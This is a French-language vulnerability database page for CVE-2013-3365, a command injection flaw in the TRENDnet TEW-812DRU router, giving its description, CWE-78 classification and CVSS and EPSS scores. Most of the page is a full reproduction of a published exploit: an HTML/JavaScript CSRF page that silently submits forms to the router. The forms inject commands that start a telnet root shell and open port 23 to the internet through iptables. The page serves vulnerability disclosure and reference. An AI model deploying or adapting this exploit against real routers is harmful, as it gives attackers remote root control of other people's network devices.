CVE-2013-3365 : Détail

CVE-2013-3365

OS Command Injection
A03-Injection
6.99%V4
Network
2014-02-04
15h00 +00:00
2014-02-04
14h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

TRENDnet TEW-812DRU router allows remote authenticated users to execute arbitrary commands via shell metacharacters in the (1) wan network prefix to internet/ipv6.asp; (2) remote port to adm/management.asp; (3) pptp username, (4) pptp password, (5) ip, (6) gateway, (7) l2tp username, or (8) l2tp password to internet/wan.asp; (9) NtpDstStart, (10) NtpDstEnd, or (11) NtpDstOffset to adm/time.asp; or (12) device url to adm/management.asp. NOTE: vectors 9, 10, and 11 can be exploited by unauthenticated remote attackers by leveraging CVE-2013-3098.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 8.5 AV:N/AC:M/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 27177

Date de publication : 2013-07-27 22h00 +00:00
Auteur : Jacob Holcomb
EDB Vérifié : No

<html> <head> <title> TRENDnet TEW-812DRU CSRF - Command Injection > Shell Exploit.</title> <!-- # CSRF Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators # Command Injection(s) Discovered by: Jacob Holcomb & Kedy Liu - Security Analysts @ Independent Security Evaluators # Exploited by: Jacob Holcomb - Security Analyst @ Independnet Security Evaluators # CVE: CSRF - CVE-2013-3098 & Multiple Command Injection - CVE-2013-3365 # http://infosec42.blogspot.com # http://securityevaluators.com --> </head> <body> <img src="http://192.168.10.1/Images/logo.gif"><!--TRENDnet Logo for attack launch page --> <h1>Please wait... </h1> <script type="text/javascript"> //Request to enable port forwarding to the routers internal IP on port 23 //This exploit works without this request, but the exploit was more stable with it, so its included in thos PoC. function RF1(){ document.write('<form name="portfwd" target ="_blank" action="http://192.168.10.1/uapply.cgi" method="post">'+ '<input type="hidden" name="page" value="/advanced/single_port.asp">'+ '<input type="hidden" name="forward_port_enable" value="0">'+ '<input type="hidden" name="forward_port" value="24">'+ '<input type="hidden" name="forward_port_proto0" value="tcp">'+ '<input type="hidden" name="forward_port_from_start0" value="23">'+ '<input type="hidden" name="forward_port_from_end0" value="23">'+ '<input type="hidden" name="forward_port_to_ip0" value="192.168.10.1">'+ '<input type="hidden" name="forward_port_to_start0" value="23">'+ '<input type="hidden" name="forward_port_to_end0" value="23">'+ '<input type="hidden" name="schedule0" value="0">'+ '<input type="hidden" name="forward_port_enable0" value="on">'+ '<input tpye="hidden" name="action" value="Apply">'+ '</form>'); } //Request to enable telnet function RF2(){ document.write('<form name="enable23" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+ '<input type="hidden" name="page" value="/adm/time.asp">'+ '<input type="hidden" name="DSTenable" value="on">'+ '<input type="hidden" name="NtpDstEnable" value="1">'+ '<input type="hidden" name="NtpDstOffset" value="`utelnetd -l /bin/sh`">'+ '<input type="hidden" name="NtpDstStart" value="030102">'+ '<input type="hidden" name="tz_daylight_start_month_select" value="03">'+ '<input type="hidden" name="tz_daylight_start_day_select" value="01">'+ '<input type="hidden" name="tz_daylight_start_time_select" value="02">'+ '<input type="hidden" name="NtpDstEnd" value="100102">'+ '<input type="hidden" name="tz_daylight_end_month_select" value="10">'+ '<input type="hidden" name="tz_daylight_end_day_select" value="01">'+ '<input type="hidden" name="tz_daylight_end_time_select" value="02">'+ '<input type="hidden" name="ntp_server" value="1">'+ '<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+ '<input type="hidden" name="time_zone" value="UCT_-11">'+ '<input type="hidden" name="timer_interval" value="300">'+ '<input type="hidden" name="manual_year_select" value="2012">'+ '<input type="hidden" name="manual_month_select" value="01">'+ '<input type="hidden" name="manual_day_select" value="01">'+ '<input type="hidden" name="manual_hour_select" value="00">'+ '<input type="hidden" name="manual_min_select" value="19">'+ '<input type="hidden" name="manual_sec_select" value="57">'+ '<input type="hidden" name="timeTag" value="manual">'+ '</form>'); } //Request to change iptables to allow port 23 from the WAN. function RF3(){ document.write( '<form name="ipTableRule" target="_blank" action="http://192.168.10.1/setNTP.cgi" method="post">'+ '<input type="hidden" name="page" value="/adm/time.asp">'+ '<input type="hidden" name="DSTenable" value="on">'+ '<input type="hidden" name="NtpDstEnable" value="1">'+ '<input type="hidden" name="NtpDstOffset" value="3600">'+ '<input type="hidden" name="NtpDstStart" value="030102">'+ '<input type="hidden" name="tz_daylight_start_month_select" value="03">'+ '<input type="hidden" name="tz_daylight_start_day_select" value="01">'+ '<input type="hidden" name="tz_daylight_start_time_select" value="02">'+ '<input type="hidden" name="NtpDstEnd" value="`count=0;while [ $count -le 25 ]; do iptables -I INPUT 1 -p tcp --dport 23 -j ACCEPT;(( count++ ));done;`">'+ '<input type="hidden" name="tz_daylight_end_month_select" value="10">'+ '<input type="hidden" name="tz_daylight_end_day_select" value="01">'+ '<input type="hidden" name="tz_daylight_end_time_select" value="02">'+ '<input type="hidden" name="ntp_server" value="1">'+ '<input type="hidden" name="NTPServerIP" value="pool.ntp.org">'+ '<input type="hidden" name="time_zone" value="UCT_-11">'+ '<input type="hidden" name="timer_interval" value="300">'+ '<input type="hidden" name="manual_year_select" value="2012">'+ '<input type="hidden" name="manual_month_select" value="01">'+ '<input type="hidden" name="manual_day_select" value="01">'+ '<input type="hidden" name="manual_hour_select" value="00">'+ '<input type="hidden" name="manual_min_select" value="19">'+ '<input type="hidden" name="manual_sec_select" value="57">'+ '<input type="hidden" name="timeTag" value="manual">'+ '</form>'); } function createPage(){ RF1(); RF2(); RF3(); document.write('<iframe src="http://192.168.10.1/" target="_blank" width="100%" height="100%" frameborder="0" style="border: 0; position:fixed; top:0; left:0; right:0; bottom:0;"></iframe>'); } function _portfwd(){ document.portfwd.submit(); } function _enable23(){ document.enable23.submit(); } function _ipTableRule(){ document.ipTableRule.submit();i } //Called Functions createPage() for(var i = 0; i < 3; i++){ if(i == 0){ window.setTimeout(_portfwd, 1000); } else if(i == 1){ window.setTimeout(_enable23, 2000); } else if(i == 2){ window.setTimeout(_ipTableRule, 4000); } else{ continue; } } </script> </body> </html>

Products Mentioned

Configuraton 0

Trendnet>>Tew-812dru >> Version -

Références

Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.